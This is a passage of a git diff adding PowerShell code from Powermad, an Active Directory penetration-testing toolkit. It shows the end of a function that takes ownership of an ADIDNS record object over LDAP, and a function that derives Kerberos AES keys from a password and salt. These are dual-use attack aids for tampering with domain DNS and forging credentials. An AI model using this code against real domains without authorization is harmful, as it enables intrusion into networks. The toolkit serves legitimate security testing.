[parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$true)][String]$Principal, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $account = New-Object System.Security.Principal.NTAccount($Principal) + $directory_entry.PsBase.ObjectSecurity.setowner($account) + $directory_entry.PsBase.CommitChanges() + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +#endregion + +#region begin Miscellaneous Functions + +function Get-KerberosAESKey +{ + <# + .SYNOPSIS + Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The + results have been verified against the test values in RFC3962, MS-KILE, and my own test lab. + + https://tools.ietf.org/html/rfc3962 + https://msdn.microsoft.com/library/cc233855.aspx + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Password + [String] Valid password. + + .PARAMETER Salt + [String] Concatenated string containing the realm and username/hostname. + AD username format = uppercase realm + case sensitive username (e.g., TEST.LOCALusername, TEST.LOCALAdministrator) + AD hostname format = uppercase realm + the word host + lowercase hostname without the trailing '$' + . + lowercase + realm (e.g., TEST.LOCALhostwks1.test.local) + + .PARAMETER Iteration + [Integer] Default = 4096: Int value representing how many iterations of PBKDF2 will be performed. AD uses the + default of 4096. + + .PARAMETER OutputType + [String] Default = AES: (AES,AES128,AES256,AES128ByteArray,AES256ByteArray) AES, AES128, and AES256 will output strings. + AES128Byte and AES256Byte will output byte arrays. + + .EXAMPLE + Get-KerberosAESKey -Password password -Salt ATHENA.MIT.EDUraeburn -Iteration 1 + Verify results against first RFC3962 sample test vectors in section B. + + .EXAMPLE + Get-KerberosAESKey -Salt TEST.LOCALuser + Generate keys for a valid AD user. + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$true)][String]$Salt, + [parameter(Mandatory=$false)][System.Security.SecureString]$Password, + [parameter(Mandatory=$false)][ValidateSet("AES","AES128","AES256","AES128ByteArray","AES256ByteArray")][String]$OutputType = "AES", + [parameter(Mandatory=$false)][Int]$Iteration=4096 + ) + + if(!$Password) + { + $password = Read-Host -Prompt "Enter password" -AsSecureString + } + + $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password) + $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR) + + [Byte[]]$password_bytes = [System.Text.Encoding]::UTF8.GetBytes($password_cleartext) + [Byte[]]$salt_bytes = [System.Text.Encoding]::UTF8.GetBytes($Salt) + $AES256_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93,0x5C,0x9B,0xDC,0xDA,0xD9,0x5C,0x98,0x99,0xC4,0xCA,0xE4,0xDE,0xE6,0xD6,0xCA,0xE4 + $AES128_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93 + $IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $PBKDF2 = New-Object Security.Cryptography.Rfc2898DeriveBytes($password_bytes,$salt_bytes,$iteration) + $PBKDF2_AES256_key = $PBKDF2.GetBytes(32) + $PBKDF2_AES128_key = $PBKDF2_AES256_key[0..15] + $PBKDF2_AES256_key_string = ([System.BitConverter]::ToString($PBKDF2_AES256_key)) -replace "-","" + $PBKDF2_AES128_key_string = ([System.BitConverter]::ToString($PBKDF2_AES128_key)) -replace "-","" + Write-Verbose "PBKDF2 AES128 Key: $PBKDF2_AES128_key_string" + Write-Verbose "PBKDF2 AES256 Key: $PBKDF2_AES256_key_string" + $AES = New-Object "System.Security.Cryptography.AesManaged" + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.Padding = [System.Security.Cryptography.PaddingMode]::None + $AES.IV = $IV + # AES 256 + $AES.KeySize = 256 + $AES.Key = $PBKDF2_AES256_key + $AES_encryptor = $AES.CreateEncryptor() + $AES256_key_part_1 = $AES_encryptor.TransformFinalBlock($AES256_constant,0,$AES256_constant.Length) + $AES256_key_part_2 = $AES_encryptor.TransformFinalBlock($AES256_key_part_1,0,$AES256_key_part_1.Length) + $AES256_key = $AES256_key_part_1[0..15] + $AES256_key_part_2[0..15] + $AES256_key_string = ([System.BitConverter]::ToString($AES256_key)) -replace "-","" + # AES 128 + $AES.KeySize = 128 + $AES.Key = $PBKDF2_AES128_key + $AES_encryptor = $AES.CreateEncryptor() + $AES128_key = $AES_encryptor.TransformFinalBlock($AES128_constant,0,$AES128_constant.Length) + $AES128_key_string = ([System.BitConverter]::ToString($AES128_key)) -replace "-","" + Remove-Variable password_cleartext + + switch($OutputType) + { + + 'AES' + { + Write-Output "AES128 Key: $AES128_key_string" + Write-Output "AES256 Key: $AES256_key_string" + } + + 'AES128' + { + Write-Output "$AES128_key_string" + } + + 'AES256' + { + Write-Output "$AES256_key_string" + } + + 'AES128ByteArray' + { + Write-Output $AES128_key + } + + 'AES256ByteArray' + { + Write-Output $AES256_key + } + + } + +} + +#endregion \ No newline at end of file -- cgit v1.2.3